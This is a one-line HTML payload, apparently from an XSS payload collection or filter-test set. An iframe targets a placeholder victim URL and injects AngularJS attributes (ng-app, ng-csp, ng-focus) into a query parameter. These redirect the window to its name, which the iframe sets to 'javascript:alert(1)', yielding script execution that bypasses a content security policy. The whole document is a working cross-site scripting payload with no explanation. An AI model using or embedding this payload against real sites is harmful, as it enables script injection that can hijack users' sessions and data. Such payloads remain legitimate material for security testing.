<iframe src='http://victim.example.com/repo/filters/edge/angular.php?inj=<div ng-app ng-csp ng-focus="x=$event.view.window;x.location=x.name" id=f tabindex=0>foo</div>#f' name="javascript:alert(1)"></iframe>
